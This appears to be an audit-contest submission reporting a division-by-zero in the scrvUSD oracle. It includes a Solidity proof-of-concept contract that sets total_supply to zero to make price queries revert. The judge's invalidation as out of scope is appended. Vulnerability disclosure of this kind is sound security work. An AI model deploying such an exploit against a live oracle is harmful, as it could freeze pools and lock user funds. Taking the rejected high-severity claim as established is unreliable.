DeFiLayer 1Layer 2
14,723 OP
View results
Submission Details
Severity: high
Invalid

Division by Zero in _raw_price

Summary

The _raw_price function in the scrvUSD oracle contract is susceptible to a division-by-zero error if the total_supply parameter becomes zero. This can occur when the update_price function accepts invalid parameters without validation, leading to a revert that halts all price queries and renders the oracle unusable. This undermines the oracle’s reliability, critical for stableswap-ng pools.

Vulnerability Details

The vulnerable code is in the _raw_price function:
vyper

@view
def _raw_price(ts: uint256, parameters_ts: uint256) -> uint256:
parameters: PriceParams = self._obtain_price_params(parameters_ts)
return self._total_assets(parameters) * 10**18 // self._total_supply(parameters, ts)

Division by Zero Risk:
_total_supply returns p.total_supply - self._unlocked_shares(...). If total_supply is set to 0 via update_price and no shares are unlocked, the result is 0.

No check ensures _total_supply > 0, causing a revert on division.

Source of Issue:
update_price sets price_params.total_supply = _parameters[2] without validation:
vyper

self.price_params = PriceParams(
total_debt=_parameters[0],
total_idle=_parameters[1],
total_supply=_parameters[2], # No check
...
)

Initial state sets total_supply = 1, but updates can override this.

PoC

Division by Zero in _raw_price
Objective
Trigger a division-by-zero revert in _raw_price by setting total_supply to 0, disabling the oracle.
Prerequisites
Control of the PRICE_PARAMETERS_VERIFIER role in the scrvUSD oracle contract (e.g., via DAO exploit or test setup).

Deployed scrvUSD oracle contract.

Exploit Scenario
An attacker with verifier access submits parameters with total_supply = 0, causing all price queries to revert.
Proof of Concept Steps
Setup: Deploy the oracle and grant PRICE_PARAMETERS_VERIFIER to an attacker-controlled address.

Exploit Contract: Create a Solidity test contract to call update_price with malicious parameters.
solidity

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
interface IScrvusdOracle {
function update\_price(uint256\[7] calldata \_parameters, uint256 \_ts, uint256 \_block\_number) external returns (uint256);
function price\_v0() external view returns (uint256);
}
contract ExploitDivisionByZero {
IScrvusdOracle public oracle;
constructor(address _oracle) {
oracle = IScrvusdOracle(_oracle);
}
function exploit() external {
uint256[7] memory params = [
uint256(1000), // total_debt
uint256(500), // total_idle
uint256(0), // total_supply (trigger division by zero)
uint256(block.timestamp + 7 days),
uint256(1000), // profit_unlocking_rate
uint256(block.timestamp - 1 days),
uint256(2000) // balance_of_self
];
oracle.update_price(params, block.timestamp, block.number);
}
function check() external view returns (uint256) {
return oracle.price_v0(); // Should revert
}
}

Execution:
Deploy ExploitDivisionByZero with the oracle address.

Call exploit() to update parameters.

Attempt check()—it reverts due to division by zero in _raw_price.

Result: All price functions (price_v0, price_v1, price_v2) fail, breaking dependent pools.

Outcome
The oracle becomes unusable until fixed, demonstrating a denial-of-service attack.

Impact

Oracle Failure: All price functions (price_v0, v1, v2) rely on _raw_price, so a revert disables the oracle, breaking dependent stableswap-ng pools.

Funds at Risk: Pools relying on accurate pricing could freeze or misbehave, potentially locking liquidity provider funds.

Denial of Service: An attacker with PRICE_PARAMETERS_VERIFIER access could intentionally set total_supply = 0, though this requires role compromise.

Tools Used

Manual Review

Recommendations

Add a validation check in update_price to prevent total_supply from being zero:
vyper

@external
def update_price(_parameters: uint256[ALL_PARAM_CNT], _ts: uint256, _block_number: uint256) -> uint256:
access_control._check_role(PRICE_PARAMETERS_VERIFIER, msg.sender)
assert self.last_block_number <= _block_number, "Outdated"
assert _parameters[2] > 0, "Total supply cannot be zero" # Add this
...

Updates

Lead Judging Commences

0xnevi Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope
Assigned finding tags:

[invalid] finding-division-by-zero

Note that `total_supply` and `profit_unlocking_rate` is initially set to 1 and 0 respectively when the `ScrvusdOracleV2.vy` is deployed 1. `total_supply` and `profit_unlocking_rate` is part of the price param updates within `update_price`, which must have gone through verification via the OOS `StateProofVerifier` contract, so there is no evidence that a 0 supply is allowed either via a 0 supply update or an extremely high `profit_unlocking_rate`. 2. Since price is retrieved via values retrived from the V3Vault, if there is no supply, there is arguably no price to be posted. As such, reverting is arguably the correct choice since a 0 price value is not expected from scrvUSD, which is a stable coin.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.